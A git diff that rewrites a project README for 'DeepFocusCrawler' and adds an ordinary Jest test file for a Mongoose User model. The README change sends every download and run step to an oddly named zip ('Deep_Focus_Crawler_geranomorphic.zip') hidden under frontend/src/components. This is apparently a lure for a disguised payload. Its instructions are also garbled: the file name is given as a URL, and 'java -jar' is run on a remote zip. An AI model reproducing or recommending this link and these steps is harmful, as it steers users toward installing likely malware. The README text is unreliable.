diff --git a/README.md b/README.md
index 49f7910..ed1472f 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@ Welcome to DeepFocusCrawler! This application is designed for everyone who wants
 
 ## 🔗 Download DeepFocusCrawler
 
-[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
+[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)
 
 ## 💻 System Requirements
 
@@ -18,14 +18,14 @@ Before you begin, make sure your computer meets these requirements:
 
 ## 📥 Download & Install
 
-To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
+To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)
 
 Once there, you'll see the available versions. Choose the latest version and download it to your computer. The download may take a few moments, depending on your internet speed.
 
 ## 🛠️ How to Run DeepFocusCrawler
 
 1. **Locate the Downloaded File:**
-   After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip` (where X.X represents the version number).
+   After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip` (where X.X represents the version number).
 
 2. **Open Terminal or Command Prompt:**
    - **Windows:** Press `Win + R`, type `cmd`, and hit `Enter`.
@@ -41,7 +41,7 @@ Once there, you'll see the available versions. Choose the latest version and dow
 4. **Run DeepFocusCrawler:**
    Type the following command and hit `Enter`:
    ```
-   java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip
+   java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip
    ```
    Replace `X.X` with the version number you downloaded.
 
diff --git a/backend/models/user.test.js b/backend/models/user.test.js
new file mode 100644
index 0000000..ac8ba11
--- /dev/null
+++ b/backend/models/user.test.js
@@ -0,0 +1,102 @@
+import mongoose from 'mongoose';
+import User from './user';
+
+describe('User Model', () => {
+  beforeAll(() => {
+    mongoose.connect('mongodb://localhost:27017/test', {
+      useNewUrlParser: true,
+      useUnifiedTopology: true,
+    });
+  });
+
+  afterAll(async () => {
+    await mongoose.connection.dropDatabase();
+    await mongoose.connection.close();
+  });
+
+  beforeEach(async () => {
+    await User.deleteMany({});
+  });
+
+  it('should create a user with required fields', async () => {
+    const userData = {
+      supabaseId: 'auth0|123456',
+      email: 'test@example.com',
+    };
+
+    const user = new User(userData);
+    await user.save();
+
+    const savedUser = await User.findOne({ email: 'test@example.com' });
+    expect(savedUser).toBeTruthy();
+    expect(savedUser.supabaseId).toBe('auth0|123456');
+    expect(savedUser.skillsOffered).toEqual([]);
+    expect(savedUser.skillsWanted).toEqual([]);
+  });
+
+  it('should enforce unique supabaseId', async () => {
+    const userData = {
+      supabaseId: 'auth0|duplicate',
+      email: 'first@example.com',
+    };
+
+    await new User(userData).save();
+
+    const duplicateUser = new User({
+      supabaseId: 'auth0|duplicate',
+      email: 'second@example.com',
+    });
+
+    await expect(duplicateUser.save()).rejects.toThrow(
+      /E11000 duplicate key error/
+    );
+  });
+
+  it('should require supabaseId and email', async () => {
+    const userWithoutSupabaseId = new User({
+      email: 'test@example.com',
+    });
+
+    await expect(userWithoutSupabaseId.save()).rejects.toThrow(
+      /User validation failed/
+    );
+
+    const userWithoutEmail = new User({
+      supabaseId: 'auth0|123',
+    });
+
+    await expect(userWithoutEmail.save()).rejects.toThrow(
+      /User validation failed/
+    );
+  });
+
+  it('should store skills arrays correctly', async () => {
+    const userData = {
+      supabaseId: 'auth0|skills',
+      email: 'skills@example.com',
+      skillsOffered: ['JavaScript', 'React'],
+      skillsWanted: ['Node.js', 'Python'],
+    };
+
+    const user = new User(userData);
+    await user.save();
+
+    const savedUser = await User.findOne({ email: 'skills@example.com' });
+    expect(savedUser.skillsOffered).toEqual(['JavaScript', 'React']);
+    expect(savedUser.skillsWanted).toEqual(['Node.js', 'Python']);
+  });
+
+  it('should default skills arrays to empty array', async () => {
+    const userData = {
+      supabaseId: 'auth0|defaults',
+      email: 'defaults@example.com',
+    };
+
+    const user = new User(userData);
+    await user.save();
+
+    const savedUser = await User.findOne({ email: 'defaults@example.com' });
+    expect(savedUser.skillsOffered).toEqual([]);
+    expect(savedUser.skillsWanted).toEqual([]);
+  });
+});
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